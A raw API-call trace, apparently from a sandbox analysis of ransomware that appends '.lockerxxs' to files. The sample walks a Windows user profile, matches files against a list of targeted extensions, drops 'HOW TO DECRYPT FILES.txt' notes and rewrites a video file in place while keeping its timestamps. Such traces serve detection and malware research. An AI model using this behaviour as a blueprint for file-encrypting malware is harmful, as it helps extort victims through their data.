PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.xdw") returned 0 [0091.316] lstrlenA (lpString="*.xdw") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.ods") returned 0 [0091.316] lstrlenA (lpString="*.ods") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.wav") returned 0 [0091.316] lstrlenA (lpString="*.wav") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mp3") returned 0 [0091.316] lstrlenA (lpString="*.mp3") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.aiff") returned 0 [0091.316] lstrlenA (lpString="*.aiff") returned 6 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.flac") returned 0 [0091.317] lstrlenA (lpString="*.flac") returned 6 [0091.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.m4a") returned 0 [0091.317] lstrlenA (lpString="*.m4a") returned 5 [0091.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.csv") returned 0 [0091.317] lstrlenA (lpString="*.csv") returned 5 [0091.317] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0091.317] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.317] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Everywhere.search-ms") returned -1 [0091.317] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Everywhere.search-ms") returned 1 [0091.317] lstrcmpiA (lpString1="", lpString2="Everywhere.search-ms") returned -1 [0091.317] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned="desktop.ini" [0091.317] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0091.317] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="" [0091.317] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" [0091.317] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to decrypt files.txt")) returned 0x20 [0091.317] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpString2="Everywhere.search-ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" [0091.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.ems") returned 0 [0091.317] lstrlenA (lpString="*.ems") returned 5 [0091.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.db") returned 0 [0091.318] lstrlenA (lpString="*.db") returned 4 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.dbf") returned 0 [0091.318] lstrlenA (lpString="*.dbf") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.myox") returned 0 [0091.318] lstrlenA (lpString="*.myox") returned 6 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.myo") returned 0 [0091.318] lstrlenA (lpString="*.myo") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qbw") returned 0 [0091.318] lstrlenA (lpString="*.qbw") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qbb") returned 0 [0091.318] lstrlenA (lpString="*.qbb") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qbm") returned 0 [0091.318] lstrlenA (lpString="*.qbm") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qbo") returned 0 [0091.318] lstrlenA (lpString="*.qbo") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qbx") returned 0 [0091.318] lstrlenA (lpString="*.qbx") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qba") returned 0 [0091.318] lstrlenA (lpString="*.qba") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qby") returned 0 [0091.318] lstrlenA (lpString="*.qby") returned 5 [0091.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qbj") returned 0 [0091.318] lstrlenA (lpString="*.qbj") returned 5 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.ofx") returned 0 [0091.319] lstrlenA (lpString="*.ofx") returned 5 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.qif") returned 0 [0091.319] lstrlenA (lpString="*.qif") returned 5 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.mye") returned 0 [0091.319] lstrlenA (lpString="*.mye") returned 5 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.mbox") returned 0 [0091.319] lstrlenA (lpString="*.mbox") returned 6 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.eml") returned 0 [0091.319] lstrlenA (lpString="*.eml") returned 5 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.pst") returned 0 [0091.319] lstrlenA (lpString="*.pst") returned 5 [0091.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.ost") returned 0 [0091.319] lstrlenA (lpString="*.ost") returned 5 [0091.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.idx") returned 0 [0091.320] lstrlenA (lpString="*.idx") returned 5 [0091.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.dbx") returned 0 [0091.320] lstrlenA (lpString="*.dbx") returned 5 [0091.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.sql") returned 0 [0091.321] lstrlenA (lpString="*.sql") returned 5 [0091.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.mdb") returned 0 [0091.321] lstrlenA (lpString="*.mdb") returned 5 [0091.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.fdb") returned 0 [0091.321] lstrlenA (lpString="*.fdb") returned 5 [0091.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.wab") returned 0 [0091.321] lstrlenA (lpString="*.wab") returned 5 [0091.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.dat") returned 0 [0091.321] lstrlenA (lpString="*.dat") returned 5 [0091.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", pszSpec="*.txt") returned 0 [0091.321] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0091.321] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.321] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Indexed Locations.search-ms") returned -1 [0091.321] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Indexed Locations.search-ms") returned -1 [0091.321] lstrcmpiA (lpString1="", lpString2="Indexed Locations.search-ms") returned -1 [0091.322] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned="Everywhere.search-ms" [0091.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0091.322] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="" [0091.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" [0091.322] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to decrypt files.txt")) returned 0x20 [0091.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpString2="Indexed Locations.search-ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" [0091.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", pszSpec="*.ems") returned 0 [0091.322] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0091.322] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0091.322] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0091.322] lstrcmpA (lpString1=".", lpString2="SendTo") returned -1 [0091.322] lstrcmpA (lpString1="..", lpString2="SendTo") returned -1 [0091.322] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="SendTo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0091.323] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0091.323] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x64006e, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0091.323] lstrcmpA (lpString1=".", lpString2="Start Menu") returned -1 [0091.323] lstrcmpA (lpString1="..", lpString2="Start Menu") returned -1 [0091.323] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.323] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0091.323] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0091.323] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x720061, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0091.323] lstrcmpA (lpString1=".", lpString2="Templates") returned -1 [0091.323] lstrcmpA (lpString1="..", lpString2="Templates") returned -1 [0091.323] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.323] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Templates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0091.324] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0091.324] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb72f400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb72f400, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="Videos", cAlternateFileName="")) returned 1 [0091.324] lstrcmpA (lpString1=".", lpString2="Videos") returned -1 [0091.324] lstrcmpA (lpString1="..", lpString2="Videos") returned -1 [0091.324] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.324] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Videos" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0091.324] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb72f400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb72f400, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0091.324] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.324] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb72f400, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb72f400, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.324] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.324] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.325] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ccb580, ftCreationTime.dwHighDateTime=0x1d5de91, ftLastAccessTime.dwLowDateTime=0xe0abb150, ftLastAccessTime.dwHighDateTime=0x1d5dcfe, ftLastWriteTime.dwLowDateTime=0xe0abb150, ftLastWriteTime.dwHighDateTime=0x1d5dcfe, nFileSizeHigh=0x0, nFileSizeLow=0x15845, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AotAx.mp4", cAlternateFileName="")) returned 1 [0091.325] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.325] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AotAx.mp4") returned 1 [0091.325] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AotAx.mp4") returned 1 [0091.325] lstrcmpiA (lpString1="", lpString2="AotAx.mp4") returned -1 [0091.325] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*") returned="*.*" [0091.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0091.325] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="" [0091.325] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" [0091.325] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt")) returned 0xffffffff [0091.325] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0091.328] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.328] CloseHandle (hObject=0x88) returned 1 [0091.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="AotAx.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" [0091.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4", pszSpec="*.ems") returned 0 [0091.328] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" [0091.328] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" [0091.329] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4." [0091.329] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4.lockerxxs" [0091.329] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aotax.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0091.329] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15845 [0091.329] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x47ccb580, dwHighDateTime=0x1d5de91), lpLastAccessTime=0x407536*(dwLowDateTime=0xe0abb150, dwHighDateTime=0x1d5dcfe), lpLastWriteTime=0x40753e*(dwLowDateTime=0xe0abb150, dwHighDateTime=0x1d5dcfe)) returned 1 [0091.330] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.330] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1581f, lpOverlapped=0x0) returned 1 [0091.332] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4") returned="AotAx.mp4" [0091.332] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.332] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1581f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1581f, lpOverlapped=0x0) returned 1 [0091.333] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.333] CloseHandle (hObject=0x88) returned 1 [0091.333] 